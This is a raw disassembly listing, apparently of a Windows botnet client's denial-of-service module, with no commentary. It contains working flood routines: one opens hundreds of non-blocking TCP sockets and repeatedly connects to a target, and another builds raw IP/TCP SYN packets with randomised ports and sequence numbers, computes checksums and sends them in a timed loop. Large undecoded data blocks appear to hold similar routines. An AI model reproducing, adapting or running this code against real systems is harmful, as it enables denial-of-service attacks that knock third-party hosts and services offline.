		dd 44858D00h, 68FFFFFCh, 200h, 861AE850h, 0C4830000h, 0DC7D3918h
		dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
		dd 0FE44B5FFh, 0FEE8FFFFh, 83FFFF5Ah, 858D14C4h, 0FFFFFC44h
		dd 1FBEE850h, 75FF0000h, 7954E8C8h, 5959FFFFh, 0F5E89057h
		dd 0FF022DCCh, 15FFFC75h, 4CBA6Ch, 3308458Bh, 3CC06BD2h
		dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
		dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 4378E068h
		dd 9BE85000h, 83000084h, 7D391CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF5A79h, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
		dd 0CFE8C875h, 59FFFF78h, 71E85759h, 90022DCCh
dword_413E10	dd 0B8EC8B55h, 10320h, 86E3E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+542Do
		dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 5C15FF00h
		dd 89004CB9h, 858D0845h, 0FFFFFF40h, 1415FF50h,	8B004CBAh
		dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 5815FF50h
		dd 3B004CBAh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
		dd 0FCBC858Dh, 1C68FFFFh, 5000437Ah, 83DDE8h, 0CC48300h
		dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh,	0FEC0858Dh
		dd 0FF50FFFFh, 0FFFEBCB5h, 59BBE8FFh, 0C483FFFFh, 0BC858D14h
		dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF7811E8h, 575959FFh
		dd 0CBB2E890h, 0C33B022Dh, 408B0C74h, 8B008B0Ch, 0FC458900h
		dd 758903EBh, 8D1C6AFCh, 5053E045h, 8083E8h, 0E84D8300h
		dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
		dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
		dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
		dd 4CB8ECh, 0C0753B46h,	75FFDA7Ch, 8C15FF08h, 8D004CBAh
		dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 4379F068h, 0FE85000h
		dd 83000083h, 5D390CC4h, 532075D8h, 0FCBC858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF58EDh
		dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 43E8D075h
		dd 59FFFF77h, 0E8905359h, 22DCAE4h
dword_413F9C	dd 0B8EC8B55h, 10310h, 8557E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+5679o
		dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0C7E5E800h
		dd 50900228h, 82E7E8h, 116A5900h, 26A026Ah, 0BA5415FFh
		dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 7F82E850h,	0C4830000h
		dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CBA14h
		dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CBA5815h
		dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh,	7068FFFFh
		dd 5000437Ah, 8231E8h, 0CC48300h, 75E87D39h, 858D5720h
		dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
		dd 580FE8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
		dd 0E075FF00h, 0FF7665E8h, 565959FFh, 2DCA07E8h, 408B9002h
		dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh,	2FE81175h
		dd 99000082h, 0FFDCB9h,	42F9F700h, 0FF03EB52h, 15FFDC75h
		dd 4CB9D4h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
		dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
		dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh,	81E1E8h
		dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
		dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah,	106AF045h
		dd 0B3E85750h, 6A000081h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
		dd 0FEFCF085h, 0FF5350FFh, 4CBA3815h, 0D875FF00h, 0CDC6E890h
		dd 754E0226h, 0DC7D39CEh, 83E8BC75h, 99000081h,	0FFDCB9h
		dd 42F9F700h, 0D415FF52h, 66004CB9h, 0EBF24589h, 50858DA1h
		dd 50FFFFFFh, 0FCCC858Dh, 4468FFFFh, 5000437Ah,	80F9E8h
		dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh,	50E475FFh
		dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 56D7E8FFh, 0C483FFFFh
		dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF752DE8h
		dd 575959FFh, 2DC8CFE8h
		db 2, 90h
word_4141B2	dw 8B55h		; DATA XREF: sub_401ACD+4CC4o
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
		dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h,	8D500CC4h
		dd 0FFFBEC85h, 7A9868FFh, 0E8500043h, 805Eh, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
		dd 50FFFFFFh, 0FDECB5FFh, 3AE8FFFFh, 83FFFF56h,	858D14C4h
		dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7490E8F0h,	5959FFFFh
		dd 0C832E856h, 5F90022Dh
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414251	proc near		; CODE XREF: ___:0041433Ap

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CB9D4
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_41430F
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_41429C:				; CODE XREF: sub_414251+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142A4:				; CODE XREF: sub_414251+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_4142C7
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah


loc_4142C7:				; CODE XREF: sub_414251+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_4142A4
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142D5:				; CODE XREF: sub_414251+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB3E5Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_4142D5
		push	64h
		nop
		call	near ptr 2680EF8h
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142F9:				; CODE XREF: sub_414251+B4j
		push	dword ptr [esi]
		nop
		call	near ptr 71AB1A6Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_4142F9
		dec	[ebp+arg_4]
		jnz	short loc_41429C
		pop	edi
		pop	esi
		pop	ebx


loc_41430F:				; CODE XREF: sub_414251+3Ej
		xor	eax, eax
		leave
		retn
sub_414251	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41C159
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41C159
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_414251
		add	esp, 18h
		test	eax, eax
		jnz	short loc_414349
		push	1
		pop	eax


loc_414349:				; CODE XREF: ___:00414344j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_414358	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: sub_401ACD+636Bo
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
		dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 437AC4h, 7EB8E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF5494E8h
		dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
		dd 0FFFF72EAh, 0E8565959h, 22DC68Ch
		db 90h
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143F7	proc near		; CODE XREF: ___:004146E5p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB944
		test	eax, eax
		jz	short loc_414437
		xor	eax, eax
		jmp	loc_4146A5
; ---------------------------------------------------------------------------


loc_414437:				; CODE XREF: sub_4143F7+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CBA78
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_41469D
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CB9B4
		cmp	eax, 0FFFFFFFFh
		jz	loc_414693
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CB9D4
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CB9D4
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CB9D4
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CB9D4
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 27B0379h
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 27B011Ch
		nop
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41DB20
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_414522:				; CODE XREF: sub_4143F7+25Dj
					; sub_4143F7+26Bj
		mov	[ebp+var_24], bx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB9D4
		mov	[ebp+var_34], ax
		call	sub_41C2C2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C2C2
		or	edi, eax
		push	edi
		call	dword_4CB9D4
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB9D0
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB9D4
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CBA38
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414667
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27B011Ch
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_414690
		jl	loc_414522
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_414690
		jmp	loc_414522
; ---------------------------------------------------------------------------


loc_414667:				; CODE XREF: sub_4143F7+247j
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_437AEC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415D38
		add	esp, 10h
		jmp	short loc_414693
; ---------------------------------------------------------------------------


loc_414690:				; CODE XREF: sub_4143F7+25Bj
					; sub_4143F7+269j
		mov	ebx, [ebp+arg_8]


loc_414693:				; CODE XREF: sub_4143F7+78j
					; sub_4143F7+297j
		push	[ebp+var_C]
		call	dword_4CBA6C
		pop	esi


loc_41469D:				; CODE XREF: sub_4143F7+5Bj
		call	dword_4CB92C
		mov	eax, ebx


loc_4146A5:				; CODE XREF: sub_4143F7+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4143F7	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41C159
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41C159
		mov	edi, eax
		call	sub_41C2C2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4143F7
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4146F4
		push	1
		pop	eax


loc_4146F4:				; CODE XREF: ___:004146EFj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_414703	db 55h			; DATA XREF: sub_401ACD+6D3Do
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 7A25h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh
		dd 5DE8h, 50595900h, 0FC6C858Dh, 0C68FFFFh, 5000437Bh
		dd 7B09E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h,	0E8FFFFFEh
		dd 0FFFF50E5h, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
		dd 3BE8F075h, 59FFFF6Fh, 0DDE85659h, 90022DC2h,	8B555E5Fh
		dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
		dd 6583046Ah, 0BB5E00A8h, 0FFh,	0C033066Ah, 0AC7D8D5Ah
		dd 0FF7C8D89h, 45C7FFFFh, 280h,	84758900h, 0C7885589h
		dd 88C45h, 45C70000h, 0C90h, 9445C700h,	11h, 169845C7h
		dd 0C7000000h, 299C45h,	45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
		dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
		dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
		dd 100h, 915FE857h, 89590000h, 5057FC45h, 0B9E815FFh, 75FF004Ch
		dd 5815FFFCh, 8B004CBAh, 6A530C40h, 8B026A03h, 89008B00h
		dd 15FFF445h, 4CBA54h, 56D84D8Dh, 6A026A51h, 45895000h
		dd 0B415FFFCh, 0BE004CB9h, 200h, 7627E856h, 3D8B0000h
		dd 4270B0h, 0F8458959h,	4589D7FFh, 8458BF0h, 29A68h, 6C858900h
		dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0B9D415FFh, 8966004Ch
		dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
		dd 870F0C45h, 0CFh, 79E5E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
		dd 0E2C100FFh, 89D00B18h, 0CBE8F455h, 99000079h, 0F9F7CB8Bh
		dd 0E8AC5589h, 79BEh, 1FA4B999h, 45C60000h, 0F9F745DCh
		dd 4DD45C6h, 0E8D45589h, 79A6h,	0E0458966h, 799DE8h, 990A6A00h
		dd 66F9F759h, 0B095448Bh, 0D415FF50h, 56004CB9h, 0E2458966h
		dd 0B9D415FFh, 8966004Ch, 5D88DE45h, 7974E8E4h,	0E6A0000h
		dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
		dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF60EAE8h, 458966FFh
		dd 0DC458DE6h, 0FF50146Ah, 99E8F875h, 83000083h, 858D14C4h
		dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0BA3815FFh
		dd 1AE9004Ch, 0FFFFFFFFh, 0E2E8F875h, 59000070h, 0FFFC75FFh
		dd 4CBA6C15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
byte_4149C1	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5306o
		dd 440EC81h, 458B0000h,	57565308h, 0F08B686Ah, 0C0BD8D59h
		dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
		dd 19Ch, 88C03359h, 0FFFF609Dh,	66ABF3FFh, 3D8BAAABh, 4270B0h
		dd 0E850D7FFh, 78ACh, 0FF6859h,	36A0000h, 15FF026Ah, 4CBA54h
		dd 89FFF883h, 6675FC45h, 0B96815FFh, 8D50004Ch,	0FFFBC085h
		dd 7C2468FFh, 0E8500043h, 782Ah, 390CC483h, 0FFFF589Dh
		dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
		dd 50FFFFFEh, 0FDC0B5FFh, 2E8FFFFh, 83FFFF4Eh, 858D14C4h
		dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF6C55E8h
		dd 535959FFh, 0BFF6E890h, 4D8D022Dh, 51046ACCh,	5053026Ah
		dd 0FFCC7589h, 4CB9B415h, 0FFF88300h, 15FF6675h, 4CB968h
		dd 0C0858D50h, 68FFFFFBh, 437BECh, 77ACE850h, 0C4830000h
		dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h,	0FF54B5FFh
		dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF4D84E8h
		dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
		dd 0D7E8FFFFh, 59FFFF6Bh, 79E85359h, 90022DBFh,	0FDC4858Dh
		dd 0FF50FFFFh, 4CBA1415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
		dd 437BCC68h, 3BE85000h, 39000077h, 0FFFF589Dh,	755959FFh
		dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
		dd 0B5FF50FFh, 0FFFFFDC0h, 0FF4D14E8h, 14C483FFh, 0FBC0858Dh
		dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 67E8FFFFh, 59FFFF6Bh
		dd 9E85359h, 90022DBFh,	458D106Ah, 0E85053BCh, 73ECh, 660CC483h
		dd 2BC45C7h, 15FF5300h,	4CB9D4h, 0BE458966h, 0FDC4858Dh
		dd 0FF50FFFFh, 4CBA1415h, 0C0458900h, 0FF085D89h, 0D04589D7h
		dd 452BD7FFh, 0B9D233D0h, 3E8h,	853BF1F7h, 0FFFFFF4Ch
		dd 2AA870Fh, 286A0000h,	45D445C6h, 0B9D415FFh, 9D39004Ch
		dd 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h, 80DC45C6h
		dd 6DD45C6h, 0DE5D8966h, 0C7E82D74h, 8B000076h,	8E6C1F0h
		dd 76BDE8h, 0C1F00300h,	0B3E808E6h, 3000076h, 8E6C1F0h
		dd 76A9E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh, 0FFFDC0B5h
		dd 5DD8E8FFh, 5059FFFFh, 0BA1415FFh, 4589004Ch,	0C0458BE0h
		dd 0FF489D39h, 4589FFFFh, 0E81075E4h, 7676h, 401B999h
		dd 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 0D415FFFFh, 66004CB9h
		dd 0E8EA4589h, 7656h, 401B999h,	0F9F70000h, 0D415FF52h
		dd 68004CB9h, 12345678h, 0E8458966h, 0B9D015FFh, 4589004Ch
		dd 44858DECh, 68FFFFFEh, 42B0D0h, 7642E850h, 85590000h
		dd 97459C0h, 0C6F05D89h, 0EB02F545h, 44858D5Ch,	68FFFFFEh
		dd 42AEE8h, 7622E850h, 85590000h, 97459C0h, 0C6F05D89h
		dd 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42AEE0h, 7602E850h
		dd 85590000h, 257459C0h, 75D9E8h, 99036A00h, 89F9F759h
		dd 0CBE8F055h, 6A000075h, 0F7599902h, 1ADAF7F9h, 0EE280D2h
		dd 5588D102h, 20068F5h,	45C60000h, 15FF50F4h, 4CB9D4h
		dd 0F6458966h, 89E0458Bh, 458B9C45h, 66146AE4h,	66FA5D89h
		dd 89F85D89h, 5D88A045h, 0A545C6A4h, 0D415FF06h, 66004CB9h
		dd 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh, 7FCBE8h
		dd 0E8458D00h, 8D50146Ah, 0E8508045h, 7FBCh, 0FF60858Dh
		dd 346AFFFFh, 5CEDE850h, 8966FFFFh, 458DF845h, 50146AD4h
		dd 0FF60858Dh, 0E850FFFFh, 7F98h, 6AE8458Dh, 858D5014h
		dd 0FFFFFF74h, 7F86E850h, 46A0000h, 5388458Dh, 71CAE850h
		dd 0C4830000h, 60858D44h, 6AFFFFFFh, 0A8E85028h, 66FFFF5Ch
		dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 7F53E8h
		dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h,	503C6AFFh
		dd 0FFFC75FFh, 4CBA3815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
		dd 75FFFFFFh, 6C15FFFCh, 0FF004CBAh, 4CB96815h,	858D5000h
		dd 0FFFFFDC4h, 500875FFh, 437B7C68h, 0C0858D00h, 68FFFFFBh
		dd 200h, 753AE850h, 0C4830000h,	589D3918h, 75FFFFFFh, 858D5323h
		dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
		dd 0FFFFFDC0h, 0FF4A18E8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
		dd 0ED8h, 0FF44B5FFh, 6BE8FFFFh, 59FFFF68h, 0DE85359h
		dd 90022DBCh, 0FFFC75FFh, 4CBA6C15h, 8458B00h, 0C06BD233h
		dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
		dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
		dd 437B2C68h, 0AFE85000h, 83000073h, 9D391CC4h,	0FFFFFF58h
		dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh,	0FEC4858Dh
		dd 0FF50FFFFh, 0FFFDC0B5h, 4987E8FFh, 0C483FFFFh, 0C0858D14h
		dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF67DAh
		dd 0E8535959h, 22DBB7Ch
		db 90h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_414F31
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414F23:				; CODE XREF: ___:00414F2Bj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414F23
		pop	edi
		cmp	eax, 1


loc_414F31:				; CODE XREF: ___:00414F17j
		jnz	short loc_414F3E
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax


loc_414F3E:				; CODE XREF: ___:loc_414F31j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
byte_414F57	db 55h			; DATA XREF: sub_401ACD+6C68o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 71D1h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh
		dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
		dd 5Fh,	19CC481h, 8D500000h, 0FFFC6C85h, 7C5868FFh, 0E8500043h
		dd 729Eh, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 7AE8FFFFh
		dd 83FFFF48h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h,	75FF0000h
